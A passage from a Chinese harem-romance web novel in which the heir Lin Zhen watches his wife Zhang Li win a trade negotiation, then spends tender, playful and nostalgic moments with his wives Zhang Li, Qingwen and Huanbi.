店内陈设奢华,楠木柜台,紫檀桌椅,墙上挂着名家字画,空气中弥漫着上等茶叶和名贵熏香的混合气息。 雅间内,檀香袅袅。 张俪端坐上首,一身石榴红宫装,明艳照人,气场十足。 林臻玄袍玉带,坐于她身侧,神色淡然,手中把玩着一枚温润的羊脂玉佩,目光平静无波。 对面,“汇通号”大掌柜钱有财,一个身材微胖、面团团富家翁模样的老者,脸上堆着谦卑的笑容,眼神却精明如狐。 “钱掌柜,苏杭绸缎北运七成份额,胃口不小啊。”张俪端起青花盖碗,轻轻撇去浮沫,声音清脆悦耳,却带着无形的压力。 “呵呵,张夫人说笑了。”钱有财搓着手,笑容可掬,“汇通号也是为夫人分忧嘛!江南丝路,路途遥远,风险不小。敝号熟门熟路,渠道畅通,包揽七成也是为夫人省心不是?” “省心?”张俪放下茶盏,唇角勾起一丝冷笑,“钱掌柜莫不是拿我张俪是三岁孩童?苏杭绸缎乃贡品级,利润几何?风险几何?你汇通号想一口吞下七成,却只肯让利一成半?这算盘珠子打得震天响啊!” “这……这……”钱有财额头渗出细汗,“夫人息怒,这这价格已是敝号能给出的最大诚意了……” “诚意?”张俪凤眼微挑,“俪儿的诚意是漠北皮货南销,让出两成利给‘汇通号’。” 钱有财眼中精光一闪:“夫人……此言当真?” “自然。”张俪颔首,“漠北皮货,紫貂、玄狐、雪狼皮皆是上品,江南供不应求,两成利足够你汇通号赚得盆满钵满!” 钱有财心中飞快盘算。 漠北皮货利润极高,两成利确实诱人。 但苏杭绸缎的七成份额,他本意是想独占鳌头……这…… “怎么?钱掌柜嫌少?”张俪声音转冷,“那便当俪儿没说过。苏杭绸缎俪儿另寻他家合作便是。江南丝路可不缺有实力的商号。” “别!别!夫人息怒!”钱有财连忙摆手,脸上堆满笑容,“夫人快人快语!钱某佩服!这样,苏杭绸缎七成份额,敝号让利两成!漠北皮货两成利。钱某接了!如何?” “两成?”张俪唇角微勾,“钱掌柜这是打发叫花子呢?” “那……夫人……意下如何?”钱有财试探道。 “三成!”张俪斩钉截铁,“绸缎让利三成。皮货两成利。签契五年!” 钱有财心中肉痛,脸上却不敢表露,目光不由自主地瞟向一旁沉默不语的林臻。 林臻依旧把玩着玉佩,眼皮都未抬一下,仿佛眼前这场激烈的商业谈判与他无关。但那无形的威压,却让钱有财如坐针毡。 “这……这……”钱有财一咬牙,“好,就依夫人,三成,五年!” “钱掌柜爽快!”张俪展颜一笑,明艳不可方物,“来人!取契书!” 第743章 再要个奖励 契书很快拟好,双方签字画押。 钱有财捧着墨迹未干的契书,心中五味杂陈。 三成让利,利润薄了近一半,但搭上漠北皮货的线也算值了,更何况还有世子这尊大佛坐镇,这笔买卖长远看,不亏! “夫人,世子殿下……”钱有财躬身行礼,“若无他事,钱某先行告退。” “钱掌柜慢走。”张俪颔首。 钱有财退下后,雅间内只剩下林臻与张俪。 “俪儿好手段。”林臻放下玉佩,眼中带着笑意,“三言两语便让这老狐狸割肉放血。” “嘻嘻,还不是仗着夫君的虎威!”张俪得意地凑近,挽住他的手臂,“那老狐狸眼睛都快瞟到您身上了!有您在他敢不低头?” “为夫不过是块背景板。”林臻失笑。 “才不是!”张俪娇嗔,“夫君是俪儿的定海神针,有您在俪儿底气十足,砍价都格外有劲儿!” “那为夫这定海神针今日可算帮了俪儿大忙?”林臻挑眉。 “当然!”张俪眼波流转,带着一丝妩媚,“夫君想要何奖励?” “俪儿方才不是已经讨了奖励?”林臻意有所指。 “那是公事!”张俪撅起嘴,“俪儿还要私人的奖励!” “哦?俪儿想要何私人的奖励?”林臻反问。 “嗯……”张俪凑到他耳边,吐气如兰,声音带着一丝诱惑,“要夫君陪俪儿去‘珍宝阁’挑一件最贵的首饰,然后陪俪儿去醉仙楼吃最贵的席面!最后陪俪儿回‘金玉堂’数今天赚的银子!” “数银子?”林臻失笑,“俪儿,这爱好倒是别致。” “数银子最开心了!”张俪理直气壮,“听着银锭碰撞的叮当声,看着账本上蹭蹭上涨的数字,比什么琴棋书画都让人舒坦!” “好。”林臻应允,“依你。” 傍晚,“金玉堂”内室。 红烛高燃,暖香浮动。紫檀木拔步床上,锦帐低垂。 张俪已卸去钗环,乌发如瀑,仅着一身轻薄的石榴红软烟罗寝衣,衬得肌肤胜雪,身段玲珑。 她斜倚在床头,手中捧着一本账册,另一只手噼里啪啦地拨弄着算盘,脸上带着满足的笑意。 “夫君您看!”她指着账册上一行数字,“今日,光‘汇通号’这一单就净赚五万八千两!加上西山采石场的定金,还有‘江南丝路’那边刚到的货款,今日进项超过十万两!” “俪儿果真是财神爷转世。”林臻靠坐在她身侧,手中把玩着她一缕柔顺的发丝。 “嘻嘻,那是!”张俪得意地扬起下巴,放下账册和算盘,翻身趴在他胸前,仰着小脸,眼波盈盈,“夫君,俪儿厉害不厉害?” “厉害。”林臻低头,看着她明艳的脸庞和亮晶晶的眼眸。 “那夫君如何奖励俪儿?”张俪凑近,红唇微启,带着玫瑰的香气。 “俪儿,想要何奖励?”林臻声音低沉。 “要夫君……”张俪指尖轻轻划过他的胸膛,声音带着一丝魅惑,“亲口夸夸俪儿……” “俪儿……”林臻俯身,在她光洁的额上印下一吻,“是府中的聚宝盆,是为夫的贤内助……更是这帝京城里最耀眼的明珠。” 张俪眼中瞬间绽放出璀璨的光芒,如同得到了世间最珍贵的宝物。 她满足地喟叹一声,将脸埋在他颈窝,贪婪地呼吸着他身上清冽的气息。 “夫君,俪儿最喜欢听您夸我了……” 林臻揽住她纤细的腰肢,感受着她柔软的身体和灼热的体温。 不同于上官婉儿的端庄持重,楚惜灵的沉静清冷,张俪的爱意如同她的性格一般,明艳、热烈、毫不掩饰。 她像一团火,燃烧着自己,也温暖着他。 “俪儿……”林臻低唤。 “嗯?”张俪慵懒地应道。 “府中近日可有大额支出?”林臻状似无意地问道。 张俪身体微微一僵,随即放松下来,声音带着一丝撒娇的意味:“夫君怎么突然问这个?俪儿可是把府库管得井井有条,每一笔支出都记在账上!绝无中饱私囊!” “为夫并非此意。”林臻指尖缠绕着她的发丝,“只是灵儿筹建格物院需银五万两……” “哦!这事啊!”张俪抬起头,明艳的脸上带着了然,“俪儿早备好了,明日就拨过去!灵儿姐姐可是咱们府里的财神奶奶,她弄出来的东西都是能下金蛋的鸡,俪儿巴不得她多要些银子呢!” “俪儿深明大义。”林臻眼中笑意加深。 “那是!”张俪得意地扬眉,随即又凑近几分,眼波流转,“不过,夫君,俪儿这么乖……是不是该再奖励一下?” “俪儿想要何奖励?”林臻反问。 “要夫君……”张俪红唇微启,在他耳边低语一句。 林臻眸光微暗,揽在她腰间的手臂收紧:“如俪儿所愿……” 红烛摇曳,锦帐轻摇。低语呢喃,春宵苦短。 金玉堂的珠光宝气,汇通号的锱铢必较,在这一刻,都化作了帐内缠绵的暖意。 张俪的热情如同燃烧的火焰,将林臻紧紧包裹。 她是他的财神,是他的明珠,更是他疲惫征途中,那一抹最明艳、最热烈的色彩。 .....。 栖霞苑东南角,“嬉春阁”的景致与府中其他院落大相径庭。 少了“金玉堂”的富贵逼人,缺了“百工阁”的沉静专注,更无“听雪楼”的清冷幽寂,这里处处洋溢着一种蓬勃的生机与无忧无虑的欢快气息。 庭院开阔,青草如茵,几株高大的垂柳抽出嫩绿的新芽,柔软的枝条在春风中摇曳生姿。 一架彩漆秋千悬在柳树下,旁边散落着几只色彩斑斓的纸鸢、几个藤编的球、几副小巧的弓箭,甚至还有一只憨态可掬的雪白狮子狗,正追着自己的尾巴转圈玩耍。 空气中弥漫着青草的芬芳、泥土的清新,以及一丝若有若无的、甜腻的果脯香气。 晴雯一身鹅黄撒花窄袖短袄,配葱绿撒花百褶裙,乌黑的长发梳成俏皮的双丫髻,发间缀着几颗圆润的粉色珍珠,随着她蹦蹦跳跳的动作轻轻晃动。 她脸上不施粉黛,肌肤白皙透亮,一双灵动的大眼睛如同浸在水中的黑葡萄,忽闪忽闪,闪烁着狡黠与好奇的光芒。 此刻,她正赤着脚,踩在柔软的草地上,追着那只雪白的狮子狗“雪团儿”疯跑,清脆的笑声如同银铃般洒满庭院。 “雪团儿!别跑!把球还我!”晴雯一边追一边喊,裙裾飞扬,如同春日里一只活泼的黄莺。 第744章 夫君赖皮!不许用轻功! “汪汪!”雪团儿叼着一个彩色的藤球,得意地摇着尾巴,绕着柳树转圈,就是不让晴雯抓到。 “夫君!快帮我抓住它!”晴雯眼尖,看到林臻的身影出现在月洞门口,立刻像看到救星般飞奔过去,一把抓住他的衣袖,气喘吁吁地告状,“雪团儿坏死了!抢了我的球不还!” 林臻今日未着玄色,换了一身靛青暗云纹箭袖常服,更显身姿挺拔。 他看着晴雯跑得红扑扑的小脸和额角细密的汗珠,唇角微勾:“晴儿又欺负雪团儿了?” “才没有!”晴雯撅起小嘴,大眼睛里满是委屈,“是它先抢我的球!不信你问它!” 她指着还在撒欢的雪团儿。 雪团儿似乎听懂了,叼着球跑到林臻脚边,讨好地蹭了蹭他的靴子,发出呜呜的声音。 “你看!它心虚了!”晴雯立刻得意起来。 林臻失笑,弯腰从雪团儿口中拿过藤球,递给晴雯:“给。” “谢谢夫君!”晴雯接过球,开心地蹦了一下,随即眼珠一转,把球往林臻怀里一塞,“夫君,陪晴儿玩蹴鞠好不好,就我们俩,不带雪团儿!” “好。”林臻应允。 两人在草地上摆开架势。 晴雯动作灵巧,如同穿花蝴蝶,带球过人,假动作频频,嘴里还不停地喊着:“看招!左晃!右突!哎呀,夫君赖皮!不许用轻功!” 林臻并未认真,只用了三分力,配合着她的节奏,时而断球,时而放水,逗得晴雯咯咯直笑。 雪团儿在一旁兴奋地跑来跑去,汪汪助威。 春日暖阳下,欢声笑语,其乐融融。 午后,嬉春阁内室。 阳光透过茜纱窗,洒下柔和的光晕。 室内陈设简洁明快,多宝格上摆满了各种精巧的玩具:九连环、鲁班锁、七巧板、彩绘泥人、会唱歌的八音盒,空气中弥漫着淡淡的果脯甜香和少女闺房特有的馨香。 晴雯盘腿坐在铺着厚厚绒毯的地板上,面前摊开一副精致的双陆棋。 她一手托腮,一手捏着一枚白玉棋子,秀气的眉头紧紧蹙起,小嘴微撅,显然陷入了苦战。 “夫君,该你了,”她抬起小脸,大眼睛里带着一丝狡黠,“不许想太久!” 林臻坐在她对面,姿态闲适,指尖夹着一枚墨玉棋子,目光扫过棋盘,随手落在一处:“这里。” “啊!不行不行!”晴雯立刻叫起来,小手飞快地按住他的棋子,“这里不能走!走了我的‘马’就被你吃了!” “落子无悔。”林臻声音平静。 “那……那刚才不算!”晴雯耍赖,“晴儿没看清!重来重来!” “又要悔棋?”林臻挑眉。 “就一次,就一次嘛!”晴雯双手合十,大眼睛眨巴眨巴,做出可怜兮兮的表情,“夫君最好了!让让晴儿嘛!” 林臻看着她娇憨的模样,无奈摇头:“下不为例。” “嘻嘻……夫君最好啦!”晴雯立刻眉开眼笑,飞快地把棋子挪回原位,然后得意地落下一子,“将军!” 林臻看着棋盘上明显被动了手脚的局势,唇角微勾:“晴儿这棋下得颇有章法。” “那是!”晴雯得意地扬起小下巴,“婉儿姐姐教我的,她说这叫‘以退为进’‘声东击西’!” “婉儿儿教得不错。”林臻落下一子,轻易化解了她的“将军”。 “哎呀!”晴雯小脸垮下来,“又输了,不玩了不玩了!”她把棋子一推,嘟着嘴,“夫君欺负人!” “那晴儿想玩什么?”林臻问。 “嗯……”晴雯歪着头想了想,眼睛一亮,“夫君!教晴儿射箭好不好,上次在北燕看毛将军射箭好威风,晴儿也想学!” “射箭?”林臻看着她纤细的手腕,“需臂力,晴儿怕是拉不开弓。” “小看人!”晴雯不服气地跳起来,跑到墙边拿起一副小巧的描金短弓,“看!这是俪儿姐姐……特意给晴儿做的!可轻了!晴儿……能拉开!” 她费力地拉开弓弦,小脸憋得通红,箭矢却歪歪斜斜地射出去,连靶子的边都没沾到。 “噗……”林臻忍俊不禁。 “哼!不准笑!”晴雯跺脚,小脸更红了,“晴儿是第一次嘛!夫君教教晴儿!” “好。”林臻起身,走到她身后,握住她拉弓的手,调整她的姿势,“站直,肩放松,眼瞄准靶心,手要稳。” 他的气息拂过她的耳畔,带着清冽的松木香。 晴雯身体微微一僵,小脸瞬间红透,连耳根都染上了粉色。她努力集中精神,按照他的指导,屏息凝神。 “放!”林臻低声道。 箭矢离弦! 虽力道不足,却稳稳地钉在了靶子的边缘! “中了,中了!”晴雯兴奋地跳起来,转身抱住林臻的胳膊,“夫君,你看,晴儿射中了!” “嗯,晴儿有天分。”林臻颔首。 “那夫君再教晴儿骑马好不好!”晴雯得寸进尺,“上次看夫君骑踏雪乌骓好威风,晴儿也想试试!” “骑马危险。”林臻摇头。 “不怕,有夫君在!”晴雯摇着他的手臂撒娇,“夫君最厉害了,一定能保护好晴儿!” “改日挑匹温顺的小马再说。”林臻不为所动。 “哦……”晴雯有些失望,随即又眼睛一亮,“那夫君陪晴儿放纸鸢!放那只最大的凤凰!飞到天上去!” “好。”林臻应道。 庭院中,巨大的彩凤纸鸢在春风中扶摇直上,长长的尾羽在蓝天白云间摇曳生姿。 晴雯握着线轴,仰着小脸,兴奋地指挥着:“高点!再高点!飞过那朵云!” 林臻站在她身侧,负手而立,目光温和地看着她雀跃的身影。 雪团儿绕着两人欢快地奔跑,汪汪叫着。 “夫君,你看,它飞得好高!”晴雯指着纸鸢,小脸红扑扑的,洋溢着纯粹的快乐。 “嗯。”林臻应道。 “要是能像它一样飞到天上去看看该多好!”晴雯眼中充满向往。 “天上风大。”林臻淡淡道。 “不怕!”晴雯握紧线轴,“有夫君在下面拉着线呢,晴儿飞得再高也不怕!” 林臻微微一怔,低头看向她。 少女仰着小脸,阳光洒在她清澈的眼眸中,闪烁着毫无保留的信任与依赖。 那份纯粹的、炽热的、如同阳光般明媚的情感,毫无保留地倾注在他身上。 不同于上官婉儿的含蓄持重,楚惜灵的沉静专注,张俪的明艳热烈,月妩的清冷自持,浣碧的温婉羞怯,晴雯的爱,如同她的人一样,直接、热烈、毫无保留,像一团跳跃的火焰,温暖而耀眼。 第745章 千里眼 “晴儿……”林臻低唤。 “嗯?”晴雯转过头,大眼睛亮晶晶地看着他。 “想不想去百工阁看看灵儿姐姐新做的千里眼?”林臻问。 “千里眼?”晴雯眼睛瞬间瞪大,“是……是那个能看到很远很远的东西吗?” “嗯。”林臻颔首,“灵儿用它观测星象绘制地图。” “哇!好厉害!”晴雯兴奋地拍手,“要去要去!现在就去!” 她拉着林臻的手就往“百工阁”跑,连纸鸢都顾不上了。 雪团儿汪汪叫着跟在后面。 百工阁内,楚惜灵正站在一架特制的、带有复杂齿轮和镜筒的黄铜仪器前,通过目镜观测着什么。 橙萱在一旁记录数据。 “灵儿姐姐!”晴雯像一阵风似的冲了进来,“夫君说你有千里眼!能看很远很远,给晴儿看看好不好!” 楚惜灵抬起头,清冷的脸上带着一丝被打扰的不悦,但看到紧随其后进来的林臻,眉头微蹙,却并未发作。 “灵儿,晴儿好奇。”林臻道。 楚惜灵沉默片刻,指了指旁边一架稍小的、同样结构复杂的铜制仪器:“此乃观星镜可放大五十倍。看远处景物。” “哇!真的吗!”晴雯立刻凑到目镜前,眯起一只眼,“让晴儿看看!” 楚惜灵调整了一下角度。 “啊!看到了!看到了!”晴雯兴奋地叫起来,“是朱雀大街,那个是珍宝阁的招牌,还有,有人在走路,好小好小,像蚂蚁一样,哈哈,真好玩!” 她看得津津有味,不时发出惊叹。 楚惜灵站在一旁,清冷的脸上依旧没什么表情,但眼神却柔和了几分。 橙萱抿嘴偷笑。 “灵儿姐姐你好厉害!”晴雯看够了,转过身,大眼睛里满是崇拜,“能做出这么神奇的东西!” “分内之事。”楚惜灵淡淡道。 “灵儿姐姐能不能也给晴儿做一个小一点的?”晴雯拉着她的衣袖,撒娇道,“晴儿想用它看树上的小鸟,看花园里的蝴蝶!” “此物精密,造价不菲。”楚惜灵道。 “晴儿有银子!”晴雯立刻道,“俪儿姐姐给了晴儿好多压岁钱!不够晴儿再去找俪儿姐姐要!” 楚惜灵:“……” 林臻失笑:“晴儿莫要胡闹,此物非是玩具。” “哦……”晴雯有些失望,随即又眼睛一亮,“那灵儿姐姐教晴儿做纸鸢好不好,要能飞得最高的那种!” 楚惜灵:“……” “灵儿姐姐最好了!”晴雯继续撒娇。 楚惜灵看着眼前这个活泼得有些过分的少女,清冷的眼眸中闪过一丝无奈,最终点了点头:“可。” “耶,灵儿姐姐最好啦!”晴雯欢呼一声,拉着楚惜灵就往工作台跑,“快教晴儿,晴儿要学!” 林臻看着晴雯缠着楚惜灵叽叽喳喳,楚惜灵虽面无表情,却并未拒绝,橙萱在一旁帮忙准备材料,唇角微勾。 这百工阁倒是难得地热闹了起来。 晚膳后,嬉春阁内室。 红烛高燃,暖香浮动。晴雯沐浴更衣,穿着一身粉嫩的软烟罗寝衣,乌发披散,如同出水芙蓉,清丽可人。 她赤着脚,趴在窗边的软榻上,晃悠着小腿,翻看着一本彩绘的《山海经》图册。 “夫君你看这个!”她指着书上一只长着翅膀的鱼,“文鳐鱼,书上说它飞起来像凤凰一样好看,还会发光呢,要是能抓一只养在池塘里多好!” “此乃传说。”林臻坐在榻边,手中拿着一卷书。 “传说也可能是真的嘛!”晴雯翻了个身,仰面躺着,大眼睛望着帐顶,“就像灵儿姐姐的千里眼以前不也是传说吗?现在不也做出来了!” “嗯。”林臻应道。 “夫君……”晴雯忽然坐起身,凑到林臻身边,神秘兮兮地压低声音,“晴儿告诉你一个秘密!” “哦?”林臻放下书卷。 “晴儿昨天偷偷溜去厨房……”晴雯大眼睛忽闪忽闪,“在婉儿姐姐给陛下准备的‘茯苓八珍糕’里加了一点点蜜糖!” 林臻眉头微挑:“为何?” “因为晴儿觉得陛下肯定也喜欢吃甜的!”晴雯理直气壮,“婉儿姐姐做的糕点什么都好就是太清淡了!一点味道都没有!” “胡闹。”林臻声音微沉, “晴儿知道错了嘛……”晴雯立刻蔫了,小嘴一瘪,大眼睛里瞬间蓄满水汽,“晴儿只是……想让糕点更好吃一点,让陛下开心一点,晴儿不是故意的……” 看着她泫然欲泣的模样,林臻心中一软:“下不为例。” “嗯嗯!晴儿保证!”晴雯立刻破涕为笑,扑进他怀里,紧紧抱住他的腰,“夫君最好了!不骂晴儿!” 林臻揽住她纤细的腰肢,感受着她温软的身体和淡淡的馨香。 怀中少女,心思单纯,喜怒皆形于色,如同一块未经雕琢的水晶,清澈透明。 她的世界,没有朝堂的倾轧,没有战场的血腥,没有焚天雷的阴影,只有简单的快乐和纯粹的依赖。 这份纯粹,如同山涧清泉,涤荡着他心中沉积的尘埃。 “夫君……”晴雯仰起小脸,大眼睛亮晶晶的,“今晚陪晴儿去放河灯好不好!就我们俩!偷偷去!不告诉别人!” “放河灯?”林臻微怔。 “嗯!”晴雯用力点头,“晴儿听月妩姐姐说上元节放河灯,许愿最灵了!晴儿想许愿,愿夫君永远平安,永远陪着晴儿!” 林臻心头微动,看着她清澈眼眸中倒映的烛光,如同跳跃的星辰。“好。” 夜深人静。王府后花园的荷花池畔。 水面倒映着皎洁的月光,波光粼粼。晴雯蹲在池边,小心翼翼地将一盏小巧的莲花灯放入水中。 灯芯点燃,橘黄的暖光在黑暗中摇曳。 “夫君快许愿!”晴雯双手合十,闭上眼睛,小脸虔诚。 林臻看着水中那盏小小的河灯,又看了看身边闭目许愿的少女,月光洒在她长长的睫毛上,投下一小片阴影。 他沉默片刻,也缓缓闭上眼。 愿……这乱世……早日太平。 愿……这府中……安宁长存。 愿……这盏灯……照亮她的前路……护她……一世无忧。 河灯随波轻漾,带着少女纯真的心愿和男人深沉的祈愿,缓缓漂向远方。 夜风温柔,拂过池畔相依的身影。 嬉春阁的欢声笑语,如同这盏小小的河灯,在寂静的夜色中,点亮了一方温暖的天地。 第746章 浣碧又想家了 栖霞苑西南隅,“碧波轩”的秋晨,如同一幅晕染开的水墨丹青。 薄雾如纱,轻柔地笼罩着那一方小小的池塘。 池水澄澈,倒映着铅灰色的天空和岸边几株垂柳的疏影。 几片金黄的柳叶飘落水面,漾开圈圈涟漪,惊扰了水下几尾锦鲤的悠游。 池心,几丛睡莲已敛了夏日的娇艳,只余下深绿的莲叶铺展,托着几朵迟开的、淡紫色的花苞,在微凉的晨风中轻轻摇曳。 水榭临池而建,竹帘半卷,露出里面素雅的陈设。 空气中弥漫着清冽的水汽、湿润的泥土气息,以及一丝若有若无的、清甜的桂花香——那是昨日浣碧新制的桂花糖渍的余韵。 水榭内,浣碧已起身多时。 她一身水绿色素锦袄裙,未着繁复绣纹,只在领口袖缘镶了窄窄一道月牙白的缠枝暗纹,素净得如同池中初绽的莲。 乌发松松地绾成一个简单的堕马髻,斜簪一支白玉雕琢的莲花簪,花心一点米粒大小的淡黄碧玺,是唯一的亮色。 她跪坐在临窗的竹席上,面前一张紫檀木矮几,几上铺着素白的宣纸,镇纸压住四角。 她手持一支细狼毫,笔尖蘸了淡墨,正全神贯注地勾勒着窗外的景致——那池心一朵将开未开的紫睡莲。 晨光透过半卷的竹帘,在她低垂的侧脸上投下柔和的光影。 她的眉目清秀,不施粉黛,肌肤白皙得近乎透明,长长的睫毛在眼下投下一小片阴影,随着笔尖的移动微微颤动。 她的动作极轻、极缓,手腕悬空,运笔如丝,每一根线条都带着小心翼翼的珍重。 墨色在宣纸上晕开,莲瓣的轮廓、叶脉的走向、水波的纹理,在她笔下渐渐清晰,带着一种宁静而孤寂的美。 林臻的脚步落在竹桥上,发出轻微的“吱呀”声。 他今日未着玄色朝服,换了一身靛青暗云纹的箭袖常服,更显身姿挺拔。 他刻意放轻了脚步,停在竹帘外,目光透过缝隙,落在水榭内那个专注作画的身影上。 晨风拂过,竹帘轻晃,光影在她身上流转,静谧得如同一幅画。 他没有立刻进去,只是静静地看着。 看她笔尖的游走,看她眉宇间的专注,看她偶尔因一笔不够满意而微微蹙起的秀眉,又看她因捕捉到莲瓣微妙弧度而唇角漾开的、极淡的满足笑意。 这份专注与宁静,如同池水般,无声地涤荡着他心中因朝堂琐事而生的微尘。 片刻,他方抬手,轻轻拨开竹帘。 “碧儿。”他的声音低沉温和,如同投入池中的石子,打破了水榭的寂静。 浣碧闻声,手腕一颤,笔尖在宣纸上留下一点突兀的墨迹。 她抬起头,清秀的脸上瞬间飞起两朵红云,如同被惊扰的睡莲,带着一丝慌乱与羞怯。 她连忙放下笔,起身盈盈一礼:“夫君……” “在画睡莲?”林臻步入水榭,目光落在画纸上。那点墨迹,恰好落在莲心。 “是……”浣碧声音细弱,带着一丝懊恼,“妾身手拙……污了画……” “无妨。”林臻走到矮几旁,俯身细看,“形神已具,这点墨添作莲蓬正好。”他拿起笔,蘸了点稍浓的墨,在那墨点上轻轻勾勒几笔,一个饱满的莲蓬雏形便跃然纸上,与周围的花瓣相映成趣。 浣碧眼睛一亮,看着那点瑕疵被巧妙化解,化作画中生机,心中的懊恼顿时消散,取而代之的是由衷的钦佩:“夫君妙笔。” “碧儿画得很好。”林臻放下笔,目光落在她微红的脸颊上,“尤其这水纹,灵动自然。” “谢夫君夸奖……”浣碧羞涩地低下头,手指无意识地绞着衣角。 “早膳用过了?”林臻问。 “用过了,都是些清粥小菜。”浣碧轻声回答,“夫君可要用些?妾身让厨房再备。” “不必。”林臻摇头,“陪碧儿看看画。” 两人并肩立于矮几前,看着那幅未完成的睡莲图。 晨光在水榭内流淌,空气中弥漫着墨香与池水的微凉气息。 浣碧的心跳渐渐平复,那份因他到来而生的慌乱,被一种宁静的暖意取代。 她悄悄抬眼,偷觑他沉静的侧脸,心中涌起一丝难以言喻的安然。 ...... 用过简单的午膳,林臻提议去花园走走。 浣碧温顺地应了,依旧落后他半步,安静地跟随着。 秋日的王府花园,色彩斑斓。 金菊怒放,丹桂飘香,枫叶如火,银杏铺金。 阳光透过稀疏的枝叶洒下,在地上投下斑驳的光影。 两人沿着蜿蜒的石径漫步,脚步声在寂静的午后清晰可闻。 浣碧的目光流连在那些绚烂的花木上,眼中带着纯粹的欣赏,却不多言。 行至花园深处,一处僻静的角落。 紫藤花架早已过了花期,只余下深绿的藤蔓缠绕。 一架小巧的竹制秋千悬在藤架下,绳索上缠绕着枯萎的藤须,在风中轻轻晃动。 “碧儿可要坐坐?”林臻停下脚步,看向那架秋千。 浣碧看着那秋千,眼中闪过一丝久违的向往,如同尘封的记忆被悄然触动。 她犹豫片刻,轻轻摇头:“妾身年纪大了,不好……” “无妨。”林臻走到秋千旁,拂去竹椅上的落叶,“为夫推你。” 他的声音带着一种不容拒绝的温和。 浣碧迟疑着,最终还是走了过去,小心翼翼地侧身坐在秋千上,双手紧紧抓住两侧的绳索,身体微微僵硬。 林臻站在她身后,轻轻推动。 秋千缓缓荡起,幅度不大,如同摇篮般轻柔。 风拂过她的发梢,带来桂花的甜香和阳光的暖意。 浣碧紧绷的身体渐渐放松下来,抓着绳索的手指也松了些许。 “碧儿小时候也爱荡秋千?”林臻的声音自身后传来。 “嗯……”浣碧轻声应道,目光望着前方摇曳的树影,“在家乡门前的小河畔也有一架秋千,是爹爹亲手做的。” 她的声音带着一丝遥远的怀念:“春日柳絮纷飞,夏日蝉鸣声声,秋日桂花飘落,爹爹总在黄昏时推我,荡得很高很高仿佛能碰到天边的云霞……” “碧儿是想家了?”林臻的声音低沉,带着一丝不易察觉的探询。 秋千缓缓停下。浣碧沉默下来,清秀的侧脸在光影中显得有些朦胧。 许久,她才轻轻开口,声音带着一丝不易察觉的哽咽:“想……很想,想门前的小河,想河畔的垂柳,想爹爹做的桂花糕……” 她深吸一口气,努力压下翻涌的情绪,转过头,看向林臻,眼中水光潋滟,却强撑着露出一抹微笑:“可是爹爹说碧儿已是王府的人,要安守本分,侍奉夫君,这里就是碧儿的家……” 林臻看着她强忍泪水的模样,心中微动。 他走到她面前,蹲下身,目光与她平视:“碧儿,你爹爹是盼你过得好。并非要你割断血脉亲情。若想回去看看为夫可以安排。” 浣碧怔怔地看着他深邃的眼眸,那里面没有敷衍,没有试探,只有一种沉静的、令人安心的力量。 巨大的惊喜与复杂的情绪瞬间涌上心头,让她几乎无法呼吸。 然而,这念头只是一闪而过。 她想起去年爹爹的殷殷嘱托,想起王府的规矩,想起自己的身份。 她不能任性,不能给夫君添麻烦。 她用力摇头,泪水终于滑落,声音却异常清晰:“不……不用了。夫君,碧儿不能回去。碧儿是王府的人,此生都要在这里。” 林臻看着她泪眼婆娑却异常坚定的模样,心中泛起一阵怜惜。 他伸出手,轻轻拭去她脸颊的泪珠,指尖触碰到她微凉的肌肤:“傻碧儿。” 他不再多言,只是将她轻轻揽入怀中。 浣碧依偎在他胸前,感受着他胸膛的温暖和沉稳的心跳,仿佛漂泊的小舟终于找到了港湾。 那份深藏的思乡之情,那份无法言说的委屈,在这一刻,都化作了无声的泪水,浸湿了他的衣襟。 紫藤藤蔓在风中轻曳,落叶无声飘零,唯有秋千绳索的吱呀声,和女子压抑的、细微的啜泣,在寂静的午后低回。 ? 第747章 秋风过京城 夕阳西沉,将天边染成一片瑰丽的橘红。 暮色四合,碧波轩水榭内点起了纱灯。 暖黄的灯光映照着池水,波光粼粼,与天边的霞光交相辉映。 矮几上,摆着几样清淡的小菜:清蒸鲈鱼、白灼菜心、蟹黄豆腐,还有一碟浣碧亲手做的、晶莹剔透的荷叶糯米糕。 一壶温热的桂花酿散发着清甜的香气。 “碧儿陪为夫小酌一杯?”林臻执起酒壶,看向坐在对面的浣碧。她已重新梳洗过,换了一身素净的月白寝衣,眼眶微红,但神色已恢复平静,只是眉宇间多了一丝难以言喻的柔婉。 浣碧轻轻点头:“好。” 林臻为她斟了小半杯琥珀色的酒液。 浣碧双手捧起小巧的白玉酒杯,小口啜饮。 桂花酿清甜甘冽,带着浓郁的桂花香气,滑入喉中,带来一丝暖意,也让她微凉的脸颊迅速染上红霞,如同抹了上好的胭脂。 几杯温酒下肚,水榭内的气氛愈发宁静温馨。 两人安静地用着膳,偶尔交谈几句,声音都放得极轻,仿佛怕惊扰了这暮色中的安宁。 浣碧为林臻布菜,动作依旧轻柔细致,只是眼神中多了几分依恋。 “碧儿……”林臻放下银箸,目光落在她微醺的娇颜上,“白日里你说此生都要在王府。那碧儿有什么心愿是能在王府实现的?” 浣碧抬起朦胧的醉眼,水光潋滟地望着他。 烛火在她清澈的眸中跳跃,如同闪烁的星辰。她歪着头,认真地思索着,红唇微启,声音带着一丝醉意的绵软和前所未有的坦率: “碧儿的心愿很小很小……” “愿夫君身体康健,平安顺遂,不再受北地风霜之苦。” “愿府中安宁祥和,无灾无祸,姐妹们都好好的。” “愿碧儿能一直这样安静地陪着夫君,看着池中的荷花开了又谢,谢了又开,春看柳,夏听荷,秋赏菊,冬看雪……” 她的声音轻柔如梦,带着最朴素的祈愿,没有豪言壮语,没有宏图大志,只有一份对眼前人、对当下生活的珍视与守护。 这份心愿,如同池中睡莲,不争不抢,却自有其恬淡悠长的芬芳。 林臻静静地听着,深邃的眼眸映着跳动的烛火和她认真的脸庞。 他伸出手,越过矮几,轻轻覆上她放在膝上的手。 她的手微凉,在他温热的掌心下微微颤抖。 “好。”他的声音低沉而郑重,带着一种承诺的分量,“为夫答应碧儿。” 浣碧满足地笑了,笑容纯净而温暖,如同拨开云雾的月光。 她反手握住他的手,指尖带着一丝怯生生的试探,却又无比坚定。她将头轻轻靠在他的肩上,感受着他沉稳的气息和温暖的体温。 夜色渐深,池水如墨。 林臻牵着浣碧的手,走到水榭边的栏杆旁。 浣碧从袖中取出两盏早已备好的、小巧玲珑的荷花灯。 灯芯点燃,橘黄的暖光在黑暗中摇曳生姿。 ...... 秋日的帝京,天高云淡,金风送爽。 王府厚重的朱漆大门缓缓开启,林臻一身靛青素面锦缎常服,腰束同色丝绦,未佩玉饰,只悬一枚不起眼的乌木腰牌。 